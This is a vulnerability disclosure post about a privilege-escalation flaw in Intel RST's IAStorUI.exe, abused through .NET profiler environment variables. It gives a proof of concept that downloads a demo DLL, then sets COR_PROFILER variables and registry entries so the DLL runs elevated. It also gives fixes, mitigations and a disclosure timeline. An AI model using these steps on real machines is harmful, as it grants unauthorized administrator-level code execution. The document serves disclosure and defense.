Hi @ll, this is the second part of <https://seclists.org/fulldisclosure/2018/Nov/45> Intel® Rapid Storage Technology (Intel® RST) User Interface and Driver for Windows 10 and Windows Server 2016, version 16.0.2.1086 (Latest), released 2/21/2018, available from <https://downloadcenter.intel.com/download/27681/Intel-Rapid-Storage-Technology-Intel-RST-User-Interface-and-Driver>, as well as the previous version 15.9.0.1015 (Previously Released), released 11/14/2017, available from <https://downloadcenter.intel.com/download/27400/Intel-Rapid-Storage-Technology-Intel-RST-User-Interface-and-Driver>, the la(te)st version supporting Windows 7 and Windows 8.1, are vulnerable: they allow arbitrary code execution WITH escalation of privilege via the RST User Interface program IAStorUI.exe. CVSS score: 7.5/HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H On x64 processor architecture this program is installed as "C:\Program Files (x86)\Intel\Intel(R) Rapid Storage Technology\IAStorUI.exe", and on x86 processor architecture it is installed as "C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorUI.exe", i.e. it is a 32-bit program. Vulnerability: ============== IAStorUI.exe depends on .NET Framework 4.x; its embedded "application manifest" specifies "requireAdministrator", so Windows requests elevation: "protected" administrators are prompted for consent, unprivileged standard users are prompted for an administrator password. All versions of .NET Framework support to load a COM object as code profiler, enabled via two or three environment variables, thus allowing arbitrary code execution WITH elevation of privilege through IAStorUI.exe! >From <https://msdn.microsoft.com/en-us/library/bb384393.aspx> | A profiler DLL is an unmanaged DLL that runs as part of the | common language runtime execution engine. As a result, the code | in the profiler DLL is not subject to the restrictions of managed | code access security. The only limitations on the profiler DLL are | those imposed by the operating system on the user who is running | the profiled application. >From <https://msdn.microsoft.com/en-us/library/bb384689.aspx>: | When both environment variable checks pass, the CLR creates an | instance of the profiler in a similar manner to the COM | CoCreateInstance function. The profiler is not loaded through a | direct call to CoCreateInstance. Therefore, a call to CoInitialize, | which requires setting the threading model, is avoided. Demonstration/proof of concept: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In the user account created during Windows setup perform the following actions: 1. fetch <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL> and save it in an arbitrary directory, for example in %TEMP% or %USERPROFILE%\Downloads\; 2. start a command prompt in this directory as UNELEVATED (standard) user; 2.a set the users environment variables: SET COR_ENABLE_PROFILING=1 SET COR_PROFILER={32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A} SET COR_PROFILER_PATH=%CD%\SENTINEL.DLL JFTR: the CLSID doesn't matter, use any CLSID you like! REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_ENABLE_PROFILING /T REG_SZ /D 1 /F REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_PROFILER /T REG_SZ /D %COR_PROFILER% /F REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_PROFILER_PATH /T REG_SZ /D "%COR_PROFILER_PATH%" /F 2.b. (OPTIONALLY) register SENTINEL.DLL as COM object: SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\%COR_PROFILER%\InProcServer32 REG.exe ADD %KEY% /VE /T REG_SZ /D "%COR_PROFILER_PATH%" /F REG.exe ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F 3. execute the installed IAStorUI.exe: notice the message boxes displayed from SENTINEL.DLL running with "integrity level: high" NOTE: the precondition "user account created during Windows setup" is met on typical installations of Windows: according to Microsoft's own security intelligence reports, about 1/2 to 3/4 of the about 600 million Windows installations which send telemetry data have only ONE active user account. <https://www.microsoft.com/security/sir> Fixes: ~~~~~~ 1. don't use .NET Framework, at least not in executables which are run elevated! 2. NEVER specify "requireAdministrator" or "highestAvailable" in the "application manifest" of an executable which uses .NET Framework. Mitigations: ~~~~~~~~~~~~ 1. remove all applications installed (not just) by Intel with their drivers that depend on .NET framework and run elevated. JFTR: there are LOADS of such crap! 2. Practice STRICT privilege separation: use your privileged "Administrator" account (especially the account created during Windows setup) ONLY for administrative tasks, and COMPLETELY separate unprivileged user accounts, with elevation requests DISABLED, for your everyday/regular work. stay tuned Stefan Kanthak Timeline: ~~~~~~~~~ 2018-06-09 vulnerability report sent to Intel 2018-06-27 Intel confirms the vulnerability, but dismissed the report, pointing their fingers at Microsoft: "it's not our bug/problem" 2018-11-19 public disclosure
